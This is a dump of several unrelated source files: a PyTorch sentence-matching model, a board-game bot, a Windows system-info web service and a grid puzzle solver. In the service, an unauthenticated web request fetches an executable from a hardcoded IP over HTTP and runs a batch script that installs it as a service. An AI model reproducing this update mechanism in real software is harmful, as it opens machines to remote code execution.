x LA x inp_size)\n\t\t\ts2: Sentence 2 BiLSTM embeddings (b x LB x inp_size)\n\t\t\talphas: Aligned phrases (b x LB x inp_size)\n\t\t\tbetas: Aligned phrases (b x LA x inp_size)\n\t\t\tmask1: Sentence 1 mask (b x LA)\n\t\t\tmask2: Sentence 2 mask (b x LB)\n\t\tOutput:\n\t\t\tv1_avg: Comparison avg. pooled vector for aligned sentence s1 (b x hidden_size)\n\t\t\tv1_max: Comparison max. pooled vector for aligned sentence s1 (b x hidden_size)\n\t\t\tv2_avg: Comparison avg. pooled vector for aligned sentence s2 (b x hidden_size)\n\t\t\tv2_max: Comparison max. pooled vector for aligned sentence s2 (b x hidden_size)\n\t\t\"\"\"\n\t\tbatch_size = s1.shape[0]\n\t\tmaxlen = s1.shape[1]\n\t\tinp_size = s1.shape[2]\n\n\t\tin1 = torch.cat((s1, betas), dim=2)\n\t\t# b x LA x (inp_size * 2)\n\t\tin2 = torch.cat((s2, alphas), dim=2)\n\t\t# b x LB x (inp_size * 2)\n\n\t\tv1 = self.linear(in1.view(-1, inp_size * 2)).view(batch_size, maxlen, -1)\n\t\t# b x LA x hidden_size\n\t\tv1_avg = torch.sum(torch.mul(v1, mask1.unsqueeze(-1)), dim=1)\n\t\tv1_avg = torch.div(v1_avg, torch.sum(mask1, dim=1).unsqueeze(-1))\n\t\t# b x hidden_size\n\t\tv1_max = torch.max(torch.mul(v1, mask1.unsqueeze(-1)), dim=1)[0]\n\t\t# b x hidden_size\n\n\t\tv2 = self.linear(in2.view(-1, inp_size * 2)).view(batch_size, maxlen, -1)\n\t\t# b x LB x hidden_size\n\t\tv2_avg = torch.sum(torch.mul(v2, mask2.unsqueeze(-1)), dim=1)\n\t\tv2_avg = torch.div(v2_avg, torch.sum(mask2, dim=1).unsqueeze(-1))\n\t\t# b x hidden_size\n\t\tv2_max = torch.max(torch.mul(v2, mask2.unsqueeze(-1)), dim=1)[0]\n\t\t# b x hidden_size\n\n\t\treturn v1_avg, v1_max, v2_avg, v2_max\n\nclass ESIMBNMultiTask(nn.Module):\n\t\"\"\"\n\tModel architecture similar to the Enhanced Sequential Inference Model (ESIM)\n\tas described in https://arxiv.org/abs/1609.06038 without the Tree LSTM. This\n\tmodel also has BatchNorm layers for preventing overfitting instead of dropout\n\tlayers.\n\n\tThe BatchNorm order followed here is LIN -> ReLU -> BN even though the original\n\tpaper used BN before the non-linearity. Some online sources claim that BN after\n\tthe ReLU gives better results.\n\n\tThe model is designed for both Reddit response prediction task and Quora\n\tsemantic question matching task.\n\t\"\"\"\n\tdef __init__(self, hidden_size=200, glove_loader=None, pretrained_emb=True):\n\t\t\"\"\"\n\t\tArgs:\n\t\t\thidden_size: Size of the intermediate linear layers\n\t\t\tglove_loader: GLoVe embedding loader\n\t\t\tpretrained_emb: Use pretrained embeddings\n\t\t\"\"\"\n\t\tsuper(ESIMBNMultiTask, self).__init__()\n\n\t\tif not pretrained_emb:\n\t\t\traise NotImplementedError('always loads pretrained embeddings')\n\n\t\tword_vectors = glove_loader.word_vectors\n\t\tword_vectors = np.vstack(word_vectors)\n\t\tvocab_size = word_vectors.shape[0]\n\t\tembed_size = word_vectors.shape[1]\n\n\t\tself.embedding = nn.Embedding(vocab_size, embed_size)\n\t\tself.embedding.load_state_dict({'weight': torch.Tensor(word_vectors)})\n\t\tself.encoder = nn.LSTM(input_size=embed_size, hidden_size=hidden_size, num_layers=1, bidirectional=True)\n\t\tself.attend = AttendFeedForward(inp_size=hidden_size * 2, hidden_size=hidden_size)\n\t\tself.compare = CompareFeedForward(inp_size=hidden_size * 2, hidden_size=hidden_size)\n\n\t\t# prediction layer for the Quora task\n\t\tself.sts_pred = nn.Sequential( \\\n\t\t\tnn.Linear(hidden_size * 4, hidden_size), \\\n\t\t\tnn.ReLU(), \\\n\t\t\tnn.BatchNorm1d(num_features=hidden_size), \\\n\t\t\tnn.Linear(hidden_size, 2))\n\n\t\t# tranformation layer for the response\n\t\tself.response_transform = nn.Sequential( \\\n\t\t\tnn.Linear(hidden_size * 2, hidden_size * 2), \\\n\t\t\tnn.ReLU(), \\\n\t\t\tnn.BatchNorm1d(num_features=hidden_size * 2), \\\n\t\t\tnn.Linear(hidden_size * 2, hidden_size * 2), \\\n\t\t\tnn.BatchNorm1d(num_features=hidden_size * 2))\n\n\t\tself.reset_parameters()\n\n\tdef reset_parameters(self):\n\t\t\"\"\"Initialize network weights using Xavier init (with bias 0.01)\"\"\"\n\t\tself.apply(ixvr)\n\n\tdef forward(self, s1, s2, len1, len2):\n\t\t\"\"\"\n\t\tArgs:\n\t\t\ts1: Sentence 1 embeddings (b x LA)\n\t\t\ts2: Sentence 2 embeddings (b x LB)\n\t\t\tlen1: Sentence 1 length (b)\n\t\t\tlen2: Sentence 2 length (b)\n\t\t\"\"\"\n\t\tbatch_size = s1.shape[0]\n\t\tmaxlen = s1.shape[1]\n\n\t\ts1 = self.embedding(s1).transpose(0, 1)\n\t\ts1, _ = self.encoder(s1)\n\t\ts1 = torch.transpose(s1, 0, 1).contiguous()\n\t\t# b x LA x (hidden_size * 2)\n\t\ts2 = self.embedding(s2).transpose(0, 1)\n\t\ts2, _ = self.encoder(s2)\n\t\ts2 = torch.transpose(s2, 0, 1).contiguous()\n\t\t# b x LB x (hidden_size * 2)\n\n\t\tmask1 = torch.arange(0, maxlen).expand(batch_size, maxlen)\n\t\tif torch.cuda.is_available():\n\t\t\tmask1 = mask1.cuda()\n\t\tmask1 = mask1 < len1.unsqueeze(-1)\n\t\tmask2 = torch.arange(0, maxlen).expand(batch_size, maxlen)\n\t\tif torch.cuda.is_available():\n\t\t\tmask2 = mask2.cuda()\n\t\tmask2 = mask2 < len2.unsqueeze(-1)\n\n\t\tmask1 = mask1.float()\n\t\tmask2 = mask2.float()\n\n\t\talphas, betas = self.attend(s1, s2, mask1, mask2)\n\t\tv1_avg, v1_max, v2_avg, v2_max = self.compare(s1, s2, alphas, betas, mask1, mask2)\n\t\tassert batch_size > 1\n\t\tout = self.sts_pred(torch.cat((v1_avg, v1_max, v2_avg, v2_max), dim=1))\n\n\t\treturn out\n\n\tdef rank_responses(self, q, resp, len_q, len_resp):\n\t\t\"\"\"\n\t\tArgs:\n\t\t\tq: Reddit question embeddings (b x LA)\n\t\t\tresp: Reddit response candidates embeddings (b x K x LB)\n\t\t\tlen_q: Length of the input question (b)\n\t\t\tlen_resp: Length of the response candidates (b x K)\n\t\t\"\"\"\n\n\t\tbatch_size = q.shape[0]\n\t\tmaxlen = q.shape[1]\n\t\tK = resp.shape[1]\n\n\t\tq = self.embedding(q).transpose(0, 1)\n\t\tq, _ = self.encoder(q)\n\t\tq = torch.transpose(q, 0, 1).contiguous()\n\t\t# b x LA x (hidden_size * 2)\n\t\tresp = self.embedding(resp).view(batch_size * K, maxlen, -1).transpose(0, 1)\n\t\tresp, _ = self.encoder(resp)\n\t\tresp = torch.transpose(resp, 0, 1).view(batch_size, K, maxlen, -1).contiguous()\n\t\t# b x K x LB x (hidden_size * 2)\n\n\t\tmask1 = torch.arange(0, maxlen).expand(batch_size, maxlen)\n\t\tif torch.cuda.is_available():\n\t\t\tmask1 = mask1.cuda()\n\t\tmask1 = mask1 < len_q.unsqueeze(-1)\n\t\tmask1 = mask1.float()\n\t\t# b x LA\n\n\t\tmask2 = torch.arange(0, maxlen).expand(batch_size * K, maxlen)\n\t\tif torch.cuda.is_available():\n\t\t\tmask2 = mask2.cuda()\n\t\tmask2 = mask2 < len_resp.view(-1).unsqueeze(-1)\n\t\tmask2 = mask2.view(batch_size, K, -1).float()\n\t\t# b x K x LB\n\n\t\tq = q.unsqueeze(1).expand(-1, K, -1, -1).contiguous().view(batch_size * K, maxlen, -1)\n\t\t# (b * K) x LA x (hidden_size * 2)\n\t\tmask1 = mask1.unsqueeze(1).expand(-1, K, -1).contiguous().view(batch_size * K, maxlen)\n\t\t# (b * K) x LA\n\n\t\tresp = resp.view(batch_size * K, maxlen, -1)\n\t\t# (b * K) x LB x (hidden_size * 2)\n\t\tmask2 = mask2.view(batch_size * K, maxlen)\n\t\t# (b * K) x LB\n\n\t\talphas, betas = self.attend(q, resp, mask1, mask2)\n\t\tv1_avg, v1_max, v2_avg, v2_max = self.compare(q, resp, alphas, betas, mask1, mask2)\n\n\t\tv1 = torch.cat((v1_avg, v1_max), dim=1)\n\t\t# (b * K) x (hidden_size * 2)\n\t\tv2 = self.response_transform(torch.cat((v2_avg, v2_max), dim=1))\n\t\t# (b * K) x (hidden_size * 2)\n\n\t\tscores = torch.sum(torch.mul(v1, v2), dim=1).view(batch_size, -1)\n\t\t# b x K\n\n\t\treturn scores\n","sub_path":"models/ESIMBNMultiTask.py","file_name":"ESIMBNMultiTask.py","file_ext":"py","file_size_in_byte":9601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"9881298","text":"#Fantome\nfrom random import randrange, choice\nimport logger\nfrom list_card import weight_data\nfrom lien_map import passages, pass_ext\n\nGREEN = '\\033[92m'\nYELLOW = '\\033[93m'\nRED = '\\033[91m'\nENDC = '\\033[0m'\nlog = logger.log\n\ndef lancer():\n fini = False\n old_question = \"\"\n manager = Manager()\n infoEndOfPartie = open('./1/infos.txt','r')\n positionForEndOfPartie = 0\n lastInfo = \"\"\n while len(manager.fantome) <= 0:\n infof = open('./1/infos.txt','r')\n manager.fantome = infof.readline().split(':')[-1].strip()\n log(\"Fantome : \" + manager.fantome)\n infof.close()\n while not fini:\n manager.getGameState()\n qf = open('./1/questions.txt','r')\n question = qf.read().strip()\n qf.close()\n if len(question) > 3 and question != old_question :\n log(GREEN, end='')\n rf = open('./1/reponses.txt','w')\n log(\"Q: \" + question, end=' A: ')\n answer = manager.selectQuestion(question)\n log(answer)\n log(ENDC, end='')\n rf.write(answer)\n rf.close()\n old_question = question\n infoEndOfPartie.seek(positionForEndOfPartie)\n lastInfos = infoEndOfPartie.readlines()\n for l in lastInfos:\n if \"Score final\" in l:\n fini = True\n elif not any(w in l for w in [\"QUESTION\", \"REPONSE\"]):\n if \"NOUVEAU PLACEMENT\" in l:\n manager.movedPersonnage(l)\n # else:\n # log(\"Info : \" + l)\n positionForEndOfPartie = infoEndOfPartie.tell()\n infoEndOfPartie.close()\n manager.closeFD()\n\n\"\"\"\nTuiles disponibles : [bleu-2-suspect, noir-3-suspect, violet-6-suspect, rouge-5-suspect] choisir entre 0 et 3\nVoulez-vous activer le pouvoir (0/1) ?\npositions disponibles : {1, 3}, choisir la valeur\n\"\"\"\n\nclass Manager:\n def __init__(self):\n self.Tour = 0\n self.Points = 0\n self.Ombre = 0\n self.Lock = 0\n self.Personnages = {'bleu': {'room': '3', 'suspect': 1}, 'rouge': {'room': '4', 'suspect': 1}, 'marron': {'room': '7', 'suspect': 1},\\\n 'violet': {'room': '1', 'suspect': 1}, 'gris': {'room': '6', 'suspect': 1}, 'noir': {'room': '5', 'suspect': 1},\\\n 'rose': {'room': '2', 'suspect': 1}, 'blanc': {'room': '0', 'suspect': 1}}\n self.Rooms = {'0':[], '1':[], '2':[], '3':[], '4':[], '5':[], '6':[], '7':[], '8':[], '9':[]}\n self.Cleans = []\n self.FDGameState = open('./1/infos.txt','r')\n self.posFDGameState = 0\n self.fantome = \"\"\n self.selectedPersonnage = \"\"\n self.split = True\n\n def closeFD(self):\n self.FDGameState.close()\n\n def calcPoint(self):\n suspectAlone = 0\n for r in self.Rooms:\n for p in self.Rooms[r]:\n #is supect\n self.Rooms[r][p]\n #How many in this room\n len(self.Rooms[r])\n roomFantome = \"\"\n try:\n log ()\n log (\"ppl in fantome room: \" + str(len(self.Rooms[self.Personnages[self.fantome][\"room\"]])))\n except:\n pass\n # for p in self.Personnages:\n # if p[\"color\"] == self.fantome:\n # roomFantome = p[\"room\"]\n # log (ENDC)\n # log (rooms)\n # log (\"len: \" + str(len(rooms[roomFantome])))\n # log (GREEN)\n\n def getGameState(self):\n self.FDGameState.seek(self.posFDGameState)\n line = self.FDGameState.readline()\n while line != '' and \"Tour:\" + str(self.Tour + 1) not in line:\n line = self.FDGameState.readline()\n if line == '':\n return\n state = line.split(',')\n self.Tour = int(state[0].split(':')[1])\n log(\"Tour:\", end='')\n log(self.Tour, end=' ; ')\n self.Points = int(state[1].split(':')[1].split('/')[0])\n log(\"Points:\", end='')\n log(self.Points, end=' ; ')\n self.Ombre = int(state[2].split(':')[1])\n log(\"Ombre:\", end='')\n log(self.Ombre, end=' ; ')\n self.Lock = state[3].split(':')[1] + ', ' + state[4].strip()\n log(\"Lock:\", end='')\n log(self.Lock)\n personnages = self.FDGameState.readline()\n self.posFDGameState = self.FDGameState.tell()\n self.Rooms = {'0':{}, '1':{}, '2':{}, '3':{}, '4':{}, '5':{}, '6':{}, '7':{}, '8':{}, '9':{}}\n self.Cleans = []\n for p in personnages.split(\" \"):\n #pI = personnage Information\n pI = p.strip().split('-')\n self.Personnages[pI[0]][\"room\"] = pI[1]\n self.Personnages[pI[0]][\"suspect\"] = 1 if pI[2] == \"suspect\" else 0\n self.Rooms[pI[1]][pI[0]] = self.Personnages[pI[0]][\"suspect\"]\n if pI[2] == \"clean\":\n self.Cleans.append(pI[0])\n log (\"Perso: \")\n log(self.Personnages)\n log (\"Rooms: \")\n log(self.Rooms)\n log (\"Clean: \")\n log(self.Cleans)\n\n #Fonction qui determine si les personnages doivent se regrouper\n #ou se separer\n def shouldISplit(self):\n nbSuspect = 0\n nbSuspectAlone = 0\n for r in self.Rooms:\n for p in self.Rooms[r]:\n #is supect\n if self.Rooms[r][p] > 0:\n nbSuspect += 1\n if len(self.Rooms[r]) == 1:\n nbSuspectAlone += 1\n log (\"nbSuspect: \" + str(nbSuspect))\n log (\"nbSuspectAlone: \" + str(nbSuspectAlone))\n if nbSuspectAlone >= 4 and len(self.Rooms[self.Personnages[self.fantome][\"room\"]]) == 1:\n return (True)\n return (False)\n\n #Selectionne une tuile en fonction de:\n #Si le fantome est tout seul ou non\n #Si la tuile est suspect\n #Si le pouvoir de la tuile a un poids plus eleve\n def selectTuile(self, question):\n self.calcPoint()\n tuiles = question.split('[')[1].split(']')[0].split(',')\n #isFantomAlone = True if len(self.Rooms[self.Personnages[self.fantome][\"room\"]]) == 1 else False\n isFantomAlone = self.shouldISplit()\n self.split = isFantomAlone\n log (\"Should suspects split ? \" + str(isFantomAlone))\n #Don t waste time if only one available\n if len(tuiles) == 1:\n self.selectedPersonnage = tuiles[0].strip().split('-')[0]\n return str(0)\n posInQuestion = 0\n persoPossibility = {}\n heaviestCard_pos = 0\n heaviestCard_weight = 0\n for t in tuiles:\n #pI = personnage Information\n pI = t.strip().split('-')\n room = self.Personnages[pI[0]][\"room\"]\n log (\"Current (\" + pI[0] + \") \" + pI[2] + \"; room: \" + room + \"; ppl in room: \" + str(len(self.Rooms[room])))\n zePassage = passages\n if pI[0] == \"rose\":\n zePassage = pass_ext\n for p in zePassage[int(room)]:\n #Locked passage\n if room in self.Lock and str(p) in self.Lock:\n log (\"Passage \" + room + \" to \" + str(p) + \" is locked..\")\n continue\n #Estime l etat des salles apres les deplacements\n sizeOfRoomAfterMove = len(self.Rooms[str(p)])\n if str(p) in question.split(']')[0]:\n sizeOfRoomAfterMove -= 1\n isOmbre = \"\"\n if self.Ombre == p:\n isOmbre = \" into the Darkness..\"\n log (\"ppl in room annex (\" + str(p) + \") : \" + str(len(self.Rooms[str(p)])) + \" after move: \" + str(sizeOfRoomAfterMove) + isOmbre)\n if isFantomAlone and (sizeOfRoomAfterMove == 0 or self.Ombre == p):\n persoPossibility[posInQuestion] = pI[0]\n continue\n elif not isFantomAlone and sizeOfRoomAfterMove > 0:\n persoPossibility[posInQuestion] = pI[0]\n continue\n if weight_data[pI[0]] > heaviestCard_weight:\n heaviestCard_pos = posInQuestion\n heaviestCard_weight = weight_data[pI[0]]\n self.selectedPersonnage = pI[0]\n posInQuestion += 1\n log (persoPossibility)\n if len(persoPossibility) > 0:\n heaviestCard_weight = 0\n for p in persoPossibility:\n bonus = int(self.Personnages[persoPossibility[p]][\"suspect\"]) * 10\n if bonus + weight_data[persoPossibility[p]] > heaviestCard_weight:\n heaviestCard_pos = p\n heaviestCard_weight = bonus + weight_data[persoPossibility[p]]\n self.selectedPersonnage = persoPossibility[p]\n return str(heaviestCard_pos)\n\n def usePositionPower(self, question):\n posDispo = question.split('{')[1].split('}')[0].split(',')\n pos = []\n for p in posDispo:\n pos.append(int(p.strip()))\n return choice(pos)\n\n #Selectionne le lieu ou se deplacer en fct de si le fantome est tout seul ou non\n def movePersonnage(self, question):\n posDispo = question.split('{')[1].split('}')[0].split(',')\n pos = 0\n posValue = 0\n if self.split == True:\n posValue = 10\n for p in posDispo:\n cleanPos = p.strip()\n if self.split is True:\n if len(self.Rooms[cleanPos]) == 0 or int(cleanPos) == self.Ombre:\n pos = cleanPos\n break\n if len(self.Rooms[cleanPos]) < posValue:\n posValue = len(self.Rooms[cleanPos])\n pos = cleanPos\n elif self.split is False:\n if len(self.Rooms[cleanPos]) > 0 and len(self.Rooms[cleanPos]) > posValue:\n pos = cleanPos\n posValue = len(self.Rooms[cleanPos])\n else:\n pos = cleanPos\n return pos\n\n def selectQuestion(self, question):\n if \"Tuiles disponibles :\" in question:\n return str(self.selectTuile(question))\n elif \"Voulez-vous activer le pouvoir\" in question:\n return str(self.shouldIUseMyPower())\n elif \", positions disponibles\" in question:\n return str(self.usePositionPower(question))\n elif \"positions disponibles\" in question:\n return str(self.movePersonnage(question))\n elif \"Avec quelle couleur échanger\" in question:\n return str(self.useSwitchPower())\n elif \"Quelle salle obscurcir ?\" in question:\n self.ombre = self.roomBlacked()\n return str(self.ombre)\n elif \"Quelle salle bloquer ?\" in question:\n return str(2)\n elif \"Quelle sortie ?\" in question:\n return str(self.usePositionPower(question))\n else:\n return str(0)\n\n def movedPersonnage(self, info):\n try:\n info = info.split(' : ')[1]\n #pI = personnage Information\n pI = info.strip().split('-')\n del self.Rooms[self.Personnages[pI[0]][\"room\"]][pI[0]]\n self.Personnages[pI[0]][\"room\"] = pI[1]\n self.Personnages[pI[0]][\"suspect\"] = 1 if pI[2] == \"suspect\" else 0\n self.Rooms[pI[1]][pI[0]] = self.Personnages[pI[0]][\"suspect\"]\n except:\n pass\n\n def shouldIUseMyPower(self):\n if self.selectedPersonnage == \"noir\" and self.split == True:\n return (0)\n if self.selectedPersonnage == \"noir\" and self.split == False:\n return (1)\n if self.selectedPersonnage == \"gris\":\n return (1)\n if self.selectedPersonnage == \"violet\":\n return (1)\n if self.selectedPersonnage == \"rouge\":\n return (1)\n if self.selectedPersonnage == \"blanc\":\n #Evite de perdre du temps de calcule si le blanc est tout seul\n if len(self.Rooms[self.Personnages[\"blanc\"][\"room\"]]) > 1:\n if self.Personnages[\"blanc\"][\"suspect\"] == 1 and self.split == True:\n return (1)\n else:\n return (0)\n return (0)\n\n def roomBlacked(self):\n #Si fantome tout seul\n #Return la case avec le plus de suspect\n if len(self.Rooms[self.Personnages[self.fantome][\"room\"]]) == 1:\n nbRoom = 0\n maxSuspectInRoom = 0\n for r in self.Rooms:\n suspectInRoom = 0\n for p in self.Rooms[r]:\n #is suspect\n if self.Rooms[r][p] > 0:\n suspectInRoom += 1\n if suspectInRoom > maxSuspectInRoom:\n nbRoom = r\n maxSuspectInRoom = suspectInRoom\n #Si tout les suspects solo alors return fantome\n if maxSuspectInRoom == 1:\n return (self.Personnages[self.fantome][\"room\"])\n return (nbRoom)\n #Si le fantome n est pas tout seul et qu il devrait\n #return la case du fantome\n elif self.split == True or len(self.Rooms[self.Personnages[self.fantome][\"room\"]]) > 1:\n return (self.Personnages[self.fantome][\"room\"])\n #Si les suspect ne doivent pas se split et que le fantome n est pas tout seul\n #return une case aleatoire sans suspect\n else:\n nbRoom = 0\n maxNoneSuspectInRoom = 0\n for r in self.Rooms:\n noneSuspectInRoom = 0\n for p in self.Rooms[r]:\n #is not suspect\n if self.Rooms[r][p] == 0:\n noneSuspectInRoom += 1\n else:\n continue\n if noneSuspectInRoom > maxNoneSuspectInRoom:\n nbRoom = r\n maxNoneSuspectInRoom = noneSuspectInRoom\n return (nbRoom)\n\n #Utilise le pouvoir violet\n def useSwitchPower(self):\n #Sauve le fantome si il doit etre seul\n if len(self.Rooms[self.Personnages[\"violet\"][\"room\"]]) == 1 and self.split == True and len(self.Rooms[self.Personnages[self.fantome][\"room\"]]) > 1:\n return (self.fantome)\n #Sauve le fantome si il doit etre en groupe\n if len(self.Rooms[self.Personnages[\"violet\"][\"room\"]]) > 1 and self.split == False and len(self.Rooms[self.Personnages[self.fantome][\"room\"]]) == 1:\n return (self.fantome)\n if self.Personnages[\"violet\"][\"suspect\"] == 1:\n #Sauve le violet si il doit etre seul\n if len(self.Rooms[self.Personnages[\"violet\"][\"room\"]]) > 1 and self.split == True:\n for r in self.Rooms:\n if r != self.Personnages[\"violet\"][\"room\"]:\n if len(self.Rooms[r]) == 1:\n for p in self.Rooms[r]:\n #is not suspect\n if self.Rooms[r][p] == 0:\n return (p)\n #Sauve le violet si il doit etre en groupe\n if len(self.Rooms[self.Personnages[\"violet\"][\"room\"]]) == 1 and self.split == False:\n colorOfNoneSuspect = \"\"\n colorToKeep = \"\"\n maxNoneSuspectInRoom = 0\n for r in self.Rooms:\n noneSuspectInRoom = 0\n if r != self.Personnages[\"violet\"][\"room\"]:\n if len(self.Rooms[r]) > 1:\n for p in self.Rooms[r]:\n #is not suspect\n if self.Rooms[r][p] == 0:\n noneSuspectInRoom += 1\n colorOfNoneSuspect = p\n if noneSuspectInRoom > maxNoneSuspectInRoom:\n colorToKeep = colorOfNoneSuspect\n maxNoneSuspectInRoom = noneSuspectInRoom\n if len(colorToKeep):\n return (colorToKeep)\n else:\n #Sauve un suspect si il doit etre seul\n if len(self.Rooms[self.Personnages[\"violet\"][\"room\"]]) == 1 and self.split == True:\n colorOfSuspect = \"\"\n colorToKeep = \"\"\n maxSuspectInRoom = 0\n for r in self.Rooms:\n suspectInRoom = 0\n if r != self.Personnages[\"violet\"][\"room\"]:\n if len(self.Rooms[r]) > 1:\n for p in self.Rooms[r]:\n #is suspect\n if self.Rooms[r][p] > 0:\n suspectInRoom += 1\n colorOfSuspect = p\n if suspectInRoom > maxSuspectInRoom:\n colorToKeep = colorOfSuspect\n maxSuspectInRoom = suspectInRoom\n if len(colorToKeep):\n return (colorToKeep)\n #Sauve un suspect si il doit etre en groupe\n if len(self.Rooms[self.Personnages[\"violet\"][\"room\"]]) > 1 and self.split == False:\n for r in self.Rooms:\n if r != self.Personnages[\"violet\"][\"room\"]:\n if len(self.Rooms[r]) == 1:\n for p in self.Rooms[r]:\n #is suspect\n if self.Rooms[r][p] == 1:\n return (p)\n if self.fantome != \"bleu\":\n return (\"bleu\")\n return (\"marron\")\n","sub_path":"dummy1.py","file_name":"dummy1.py","file_ext":"py","file_size_in_byte":17574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"194247979","text":"# coding:utf-8\n\nimport logging\nimport psutil \nimport time\nimport json\nimport winreg\nimport requests\nimport os\nimport subprocess\nimport globalvar as gl\nfrom urllib.parse import parse_qs\n\n\nlogging.basicConfig(level=logging.DEBUG,format=' %(asctime)s - %(levelname)s - %(message)s')\n#logging.disable(logging.CRITICAL) # 加这句话,就是log全部禁止,不加,就可以log打印了\n\n\n\n# 定义函数,两个参数,都是python本身定义的,默认就行了。\ndef application(environ, start_response):\n \n recordLog('start in webapi')\n # 定义文件请求的类型和当前请求成功的code\n try:\n start_response('200 OK', [('Content-Type', 'application/json;charset=utf-8')])\n d = parse_qs(environ['QUERY_STRING'])\n recordLog(environ['QUERY_STRING'])\n key = d.get('key', [''])[0] # 返回第一个age值.\n recordLog(key)\n except Exception as err:\n recordLog('web err!')\n recordLog(str(err))\n \n \n\n # 获取服务器的硬件运行信息\n if key=='getinfo':\n info=sysInfo()\n json_str = json.dumps(info,ensure_ascii=False,indent=4)\n recordLog('record getinfo')\n recordLog(json.dumps(json_str))\n return [json_str.encode('utf-8')]\n \n # 主动触发服务器下载最新版的热更新\n elif key=='download':\n info = {\"status\": \"download\"}\n try:\n res =requests.get(r'http://47.75.120.191:83/PCInfoService.exe',timeout=30)\n except Exception as err:\n info = {\"status\":str(err)}\n recordLog(str(err))\n\n down=os.path.join(getPath(),'PCInfoService.exe')\n\n try:\n downloadFile = open(down,'wb')\n for chunk in res.iter_content(100000):\n downloadFile.write(chunk)\n #recordLog(os.path.getsize(downloadFile))\n downloadFile.close()\n info = {\"status\":\"download finish\"}\n\n recordLog(\"download finish\")\n \n WriteRestartCmd()\n recordLog(\"update Start\")\n recordLog(\"shutdown\")\n \n except Exception as err:\n recordLog(str(err))\n info = {\"status\":str(err)}\n \n finally:\n return [json_str.encode('utf-8')]\n \n else:\n logging.debug('Noget')\n info = {\"status\": \"none\"}\n json_str = json.dumps(info,ensure_ascii=False,indent=4)\n return [json_str.encode('utf-8')]\n \n#编写bat脚本,删除旧程序,运行新程序\ndef WriteRestartCmd():\n os.chdir(getPath())\n b = open(\"upgrade.bat\",'w')\n TempList = \"@echo off\\n\"; #关闭bat脚本的输出\n TempList += \"if not exist pcinfoservice.exe exit \\n\"; #新文件不存在,退出脚本执行\n TempList += \"sc stop pcinfo \\n\" \n TempList += \"ping /n 5 127.1>nul \\n\" #5秒后删除旧程序(3秒后程序已运行结束,不延时的话,会提示被占用,无法删除)\n TempList += \"del PCInfo.exe /q \\n\"\n TempList += \"ren PCInfoService.exe PCInfo.exe \\n\"\n TempList += \"pcinfo.exe install \\n\"\n TempList += \"sc start pcinfo \\n\"\n TempList += \"sc config pcinfo start= auto\" \n b.write(TempList)\n b.close()\n subprocess.Popen(\"upgrade.bat\")\n\n\ndef recordLog(strmsg): #把strmsg写入日志\n \n os.chdir(getPath())\n try:\n logFile = open(r'web.log','a')\n logFile.write(get_time_stamp()+' ') #写入日志\n logFile.write(strmsg+'\\n')\n except Exception as err:\n logFile.write(get_time_stamp()+' ') #写入日志\n logFile.write('write web.log err!\\n')\n pass\n finally:\n logFile.close()\n return\n\ndef sysInfo():\n info={}\n \n line={}\n try:\n line.setdefault('CPU核心',str(psutil.cpu_count()))\n line.setdefault('CPU利用率',str(int(psutil.cpu_percent())) + '%')\n info['CPU']=line\n\n line={}\n line.setdefault('空闲内存G',str(round(psutil.virtual_memory().free/(1024.0*1024.0*1024.0), 2)))\n line.setdefault('总内存G',str(int(round(psutil.virtual_memory().total/(1024.0*1024.0*1024.0)))))\n line.setdefault('内存利用率',str(int((psutil.virtual_memory().total-psutil.virtual_memory().free)/float(psutil.virtual_memory().total)*100))+ '%')\n info['Memory'] =line\n \n line={}\n \n io = psutil.disk_partitions()\n j=0\n except Exception as err:\n recordLog(str(err))\n\t\n for i in io:\n diskstr=[]\n try:\n o = psutil.disk_usage(i.device)\n except Exception as err:\n recordLog(str(err))\n j=j+1\n continue\n \n disk=io[j][0].strip(r':\\\\')\n diskstr.append(str(int(o.free/(1024.0*1024.0*1024.0)))+\"G\")\n diskstr.append(str(int(o.total/(1024.0*1024.0*1024.0)))+\"G\") \n line.setdefault(disk,diskstr)\n del(diskstr)\n j=j+1\n\n info['Disk']=line\n try:\n info.setdefault('version',gl.getvalue('version'))\n except Exception as err:\n recordLog(\"version write err\")\n \n return info\n\ndef getPath():\n #获取服务执行程序的路径\n try:\n key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE,r\"SYSTEM\\CurrentControlSet\\Services\\PCInfo\")\n downloadPath =winreg.QueryValueEx(key,\"ImagePath\")\n path=os.path.dirname(downloadPath[0][1:])\n except Exception as err:\n path=r'c:\\windows\\system32'\n recordLog('Path change err: '+ str(err))\n return path\n\n\ndef get_time_stamp():\n ct = time.time()\n local_time = time.localtime(ct)\n data_head = time.strftime(\"%Y-%m-%d %H:%M:%S\", local_time)\n data_secs = (ct - int(ct)) * 1000\n time_stamp = \"%s.%03d\" % (data_head, data_secs)\n return time_stamp\n","sub_path":"python-book01/2018/2018-07/PChealth/pc_info_windowsService/WebAPI.py","file_name":"WebAPI.py","file_ext":"py","file_size_in_byte":5748,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"469019174","text":"#!/usr/local/bin/python3\n\nimport time\nimport numpy as np\n\n\ndef power(x, y, sn):\n box_id = x + 10\n level = box_id * y\n level += sn\n level *= box_id\n hnd = level // 100 % 10\n return hnd - 5\n\n\ndef setup():\n return np.fromfunction(lambda x, y :power(x, y, 6042), (300, 300))\n\n\ndef part1(grid):\n best = 0\n coords = 0, 0\n for x in range(298):\n for y in range(298):\n temp = np.sum(grid[x:x+3, y:y+3])\n if temp > best:\n best = temp\n coords = x, y\n return coords\n\n\ndef part2(grid):\n best = 0\n coords = 0, 0, 0\n for size in range(1, 301):\n if not size % 10:\n print(size)\n for x in range(300 - size):\n for y in range(300 - size):\n temp = np.sum(grid[x:x+size, y:y+size])\n if temp > best:\n best = temp\n coords = x + 1, y + 1, size\n return coords\n\n\ndef main():\n start_setup = time.time()\n grid = setup()\n end_setup = time.time()\n\n start_part1 = time.time()\n res_part1 = part1(grid)\n end_part1 = time.time()\n\n start_part2 = time.time()\n res_part2 = part2(grid)\n end_part2 = time.time()\n\n print(f\"part 1: {res_part1}\")\n print(f\"part 2: {res_part2}\")\n print(f\"setup took {end_setup - start_setup} seconds\")\n print(f\"part 1 took {end_part1 - start_part1} seconds\")\n print(f\"part 2 took {end_part2 - start_part2} seconds\")\n print(f\"overall took {end_part2 - start_setup} seconds\")\n\n\nif __name__ == '__main__':\n 